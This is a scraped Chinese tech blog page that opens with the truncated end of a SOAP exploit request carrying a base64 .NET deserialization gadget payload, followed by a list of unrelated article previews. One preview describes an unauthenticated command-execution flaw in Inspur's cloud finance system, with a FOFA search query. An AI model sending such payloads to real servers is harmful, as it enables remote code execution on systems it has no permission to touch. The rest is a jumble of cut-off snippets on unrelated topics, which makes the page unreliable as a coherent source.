I3N2E1YzU2MTkzNGUwODldXQZzAAAAC2dldF9DdXJyZW50CgFLAAAAQwAAAAlzAAAACT4AAAAJcgAAAAZ2AAAAGVN5c3RlbS5UeXBlIGdldF9DdXJyZW50KCkGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAEIAAAAGeAAAAMYBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCT4AAAAKCT4AAAAGegAAABBTeXN0ZW0uQWN0aXZhdG9yBnsAAAAOQ3JlYXRlSW5zdGFuY2UKAU0AAABDAAAACXsAAAAJPgAAAAl6AAAABn4AAAApU3lzdGVtLk9iamVjdCBDcmVhdGVJbnN0YW5jZShTeXN0ZW0uVHlwZSkGfwAAAClTeXN0ZW0uT2JqZWN0IENyZWF0ZUluc3RhbmNlKFN5c3RlbS5UeXBlKQgAAAAKAU4AAAAPAAAABoAAAAAmU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5Db21tYW5kSUQEAAAACToAAAAQTwAAAAIAAAAJggAAAAgIACAAAASCAAAAC1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgITE9J07irREYv7AKDJDyb3Cws=</printOpByte><printInfoByte></printInfoByte></SavePrintFormatAssign></soap:Body>
</soap:Envelope>

相关文章:

浪潮云财务系统xtdysrv.asmx存在命令执行漏洞

一、漏洞简介 浪潮云财务系统xtdysrv.asmx存在命令执行漏洞&#xff0c;未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码。 二、漏洞影响 浪潮云财务系统三、网络测绘&#xff1a; fofa: title"TSCEV4.0"四、复现过程 前置条件 步骤 POC 1 数据包…...

【网络编程】基础知识

目录 网络发展史 局域网和广域网 局域网&#xff08;LAN&#xff09; 广域网&#xff08;Wan&#xff09; 光猫 路由器 网线 设备通信的要素 IP地址 基本概念 地址划分 特殊地址&#xff08;后续编程使用&#xff09; IP地址转换 字节序 网络模型 网络的体系结…...

ResNet (Residual Network) - 残差网络:深度卷积神经网络的突破

一、引言 在计算机视觉领域&#xff0c;图像识别一直是一个核心且具有挑战性的任务。随着深度学习的发展&#xff0c;卷积神经网络&#xff08;CNN&#xff09;在图像识别方面取得了显著的成果。然而&#xff0c;随着网络深度的增加&#xff0c;出现了梯度消失或梯度爆炸等问题…...

MOSFET体二极管的反向恢复分析

1、MOSFET体二极管的反向恢复分析 MOSFET体二极管反向恢复会导致MOSFET工作时超出安全工作区&#xff08;SOA&#xff09;&#xff0c;并引发其他电磁干扰问题&#xff08;EMI。 二极管在反向恢复过程中会产生比较大的损耗。在正向偏置状态下&#xff0c;大量的电子和空穴载流…...

80_Redis内存策略

Redis性能之所以这么强,最主要的原因就是基于内存存储。而单节点的Redis其内存大小不宜过大,否则会影响持久化或主从同步的性能。 我们可以通过修改redis.conf配置文件来设置Redis的最大内存。 maxmemory <bytes> 当Redis内存使用达到上限时,就无法存储更多数据了。…...

【HarmonyOS NAPI 深度探索6】使用 N-API 创建第一个 Hello World 原生模块

【HarmonyOS NAPI 深度探索6】使用 N-API 创建第一个 Hello World 原生模块 开发一个 N-API 模块听起来可能有点技术感十足&#xff0c;但实际上入门并不复杂。今天&#xff0c;我们就来一步步实现一个简单的 Hello World 原生模块&#xff0c;感受一下 N-API 开发的魅力。 环…...

Java语言的软件工程

Java语言的软件工程 引言 在当今信息技术飞速发展的时代&#xff0c;软件工程作为一门应用广泛的学科&#xff0c;承担着开发高质量软件系统的重要责任。Java语言以其跨平台特性、安全性和强大的库支持&#xff0c;已经成为软件工程领域中最流行的编程语言之一。本文将深入探…...

【Mysql进阶知识】Mysql 程序的介绍、选项在命令行配置文件的使用、选项在配置文件中的语法

目录 一、程序介绍 二、mysqld--mysql服务器介绍 三、mysql - MySQL 命令行客户端 3.1 客户端介绍 3.2 mysql 客户端选项 指定选项的方式 mysql 客户端命令常用选项 在命令行中使用选项 选项(配置)文件 使用方法 选项文件位置及加载顺序 选项文件语法 使用举例&am…...

wireshark抓路由器上的包 抓包路由器数据

文字目录 抓包流程概述设置抓包配置选项 设置信道设置无线数据包加密信息设置MAC地址过滤器 抓取联网过程 抓包流程概述 使用Omnipeek软件分析网络数据包的流程大概可以分为以下几个步骤&#xff1a; 扫描路由器信息&#xff0c;确定抓包信道&#xff1b;设置连接路由器的…...

玩转大语言模型——使用graphRAG+Ollama构建知识图谱

系列文章目录 玩转大语言模型——ollama导入huggingface下载的模型 玩转大语言模型——langchain调用ollama视觉多模态语言模型 文章目录 系列文章目录前言下载和安装用下载项目的方式下载并安装用pip方式下载并安装 生成知识图谱初始化文件夹修改模型配置修改知识库生成配置创…...

python flask简单实践

项目结构 project/ │ ├── app.py ├── instance/ │ └── database.db ├── templates/ │ └── index.html ├── static/ │ └── style.css │ └── favicon.ico └── database.db首先创建目录&#xff0c;static 存放一些页面的样式或图标文件…...

JAVA实现五子棋小游戏(附源码)

文章目录 一、设计来源捡金币闯关小游戏讲解1.1 主界面1.2 黑棋胜利界面1.3 白棋胜利界面 二、效果和源码2.1 动态效果2.2 源代码 源码下载更多优质源码分享 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_43151418/article/details/145161039 JA…...

kotlin的dagger hilt依赖注入

依赖注入&#xff08;dependency injection, di&#xff09;是设计模式的一种&#xff0c;它的实际作用是给对象赋予实例变量。 基础认识 class MainActivity : ComponentActivity() {override fun onCreate(savedInstanceState: Bundle?) {super.onCreate(savedInstanceSta…...

速通Docker === 常用命令

目录 Docker命令 镜像操作 容器操作 基础操作 启动参数 容器内部操作 打包成指定文件 发布镜像 总结 镜像操作 容器操作 启动容器参数 容器内部操作 打包镜像 启动指定镜像的容器 发布镜像 Docker命令 启动一个nginx,并将它的首页改为自己的页面&#xff0c;发布…...

【redis】键的全局命令

Redis提供了一系列用于管理和操作键的全局命令。这些命令允许你查看、删除、迁移键&#xff0c;以及执行其他与键相关的操作。 有关全局通用类型的命令可以通过help generic命令来查看。有关命令的使用可以通过help 命令来查看&#xff0c;例如help keys。 KEYS keys&#x…...

深度学习-卷积神经网络实战文档注释

1、call 方法 是一个特殊的方法&#xff0c;它允许类的实例表现得像函数一样。也就是说&#xff0c;你可以使用圆括号 () 来调用一个实例&#xff0c;就像调用普通函数一样。 当你调用 model(input_data) 时&#xff0c;实际上是调用了模型的 __ call __ 方法&#xff0c;其会自…...

GR2103高压半桥栅极驱动芯片

产品简介 GR2103封装和丝印 GR2103是一款高性价比的高压半桥栅极驱动专用芯片&#xff0c;设计用于高压、高速驱动N型大功率 MOS管、IGBT管。内置欠压&#xff08;UVLO&#xff09;保护功能&#xff0c;防止功率管在过低的电压下工作&#xff0c;提高效率。内置防止直通功能…...

学习threejs,使用OrbitControls相机控制器

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️THREE.OrbitControls 相机控…...

说说Babylon.js中scene.deltaTime的大坑

诡异的问题 下面是给一个材质设置发光颜色周期变化和纹理偏移的代码&#xff0c;你能感觉到这里面可能出现的问题吗&#xff1f; var passTime 0;var uOffset 0;var deltaTime 0;function SetEmissiveColor() {passTime scene.deltaTime * 0.05;if(passTime > 6.2…...

【React】win系统环境搭建

动图更精彩 方案如下 在Visual Studio Code&#xff08;VSCode&#xff09;中搭建React开发环境是一个相对简单但非常重要的步骤&#xff0c;可以帮助你更高效地进行前端开发。以下是详细的步骤和配置指南&#xff1a; 一、准备工作 安装Visual Studio Code (VSCode)&#x…...

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…...

地震勘探——干扰波识别、井中地震时距曲线特点

目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波&#xff1a;可以用来解决所提出的地质任务的波&#xff1b;干扰波&#xff1a;所有妨碍辨认、追踪有效波的其他波。 地震勘探中&#xff0c;有效波和干扰波是相对的。例如&#xff0c;在反射波…...

【配置 YOLOX 用于按目录分类的图片数据集】

现在的图标点选越来越多&#xff0c;如何一步解决&#xff0c;采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集&#xff08;每个目录代表一个类别&#xff0c;目录下是该类别的所有图片&#xff09;&#xff0c;你需要进行以下配置步骤&#x…...

【学习笔记】深入理解Java虚拟机学习笔记——第4章 虚拟机性能监控,故障处理工具

第2章 虚拟机性能监控&#xff0c;故障处理工具 4.1 概述 略 4.2 基础故障处理工具 4.2.1 jps:虚拟机进程状况工具 命令&#xff1a;jps [options] [hostid] 功能&#xff1a;本地虚拟机进程显示进程ID&#xff08;与ps相同&#xff09;&#xff0c;可同时显示主类&#x…...

laravel8+vue3.0+element-plus搭建方法

创建 laravel8 项目 composer create-project --prefer-dist laravel/laravel laravel8 8.* 安装 laravel/ui composer require laravel/ui 修改 package.json 文件 "devDependencies": {"vue/compiler-sfc": "^3.0.7","axios": …...

ABAP设计模式之---“简单设计原则(Simple Design)”

“Simple Design”&#xff08;简单设计&#xff09;是软件开发中的一个重要理念&#xff0c;倡导以最简单的方式实现软件功能&#xff0c;以确保代码清晰易懂、易维护&#xff0c;并在项目需求变化时能够快速适应。 其核心目标是避免复杂和过度设计&#xff0c;遵循“让事情保…...

Unsafe Fileupload篇补充-木马的详细教程与木马分享(中国蚁剑方式)

在之前的皮卡丘靶场第九期Unsafe Fileupload篇中我们学习了木马的原理并且学了一个简单的木马文件 本期内容是为了更好的为大家解释木马&#xff08;服务器方面的&#xff09;的原理&#xff0c;连接&#xff0c;以及各种木马及连接工具的分享 文件木马&#xff1a;https://w…...

Web中间件--tomcat学习

Web中间件–tomcat Java虚拟机详解 什么是JAVA虚拟机 Java虚拟机是一个抽象的计算机&#xff0c;它可以执行Java字节码。Java虚拟机是Java平台的一部分&#xff0c;Java平台由Java语言、Java API和Java虚拟机组成。Java虚拟机的主要作用是将Java字节码转换为机器代码&#x…...

【学习笔记】erase 删除顺序迭代器后迭代器失效的解决方案

目录 使用 erase 返回值继续迭代使用索引进行遍历 我们知道类似 vector 的顺序迭代器被删除后&#xff0c;迭代器会失效&#xff0c;因为顺序迭代器在内存中是连续存储的&#xff0c;元素删除后&#xff0c;后续元素会前移。 但一些场景中&#xff0c;我们又需要在执行删除操作…...

数据结构:泰勒展开式:霍纳法则(Horner‘s Rule)

目录 &#x1f50d; 若用递归计算每一项&#xff0c;会发生什么&#xff1f; Horners Rule&#xff08;霍纳法则&#xff09; 第一步&#xff1a;我们从最原始的泰勒公式出发 第二步&#xff1a;从形式上重新观察展开式 &#x1f31f; 第三步&#xff1a;引出霍纳法则&…...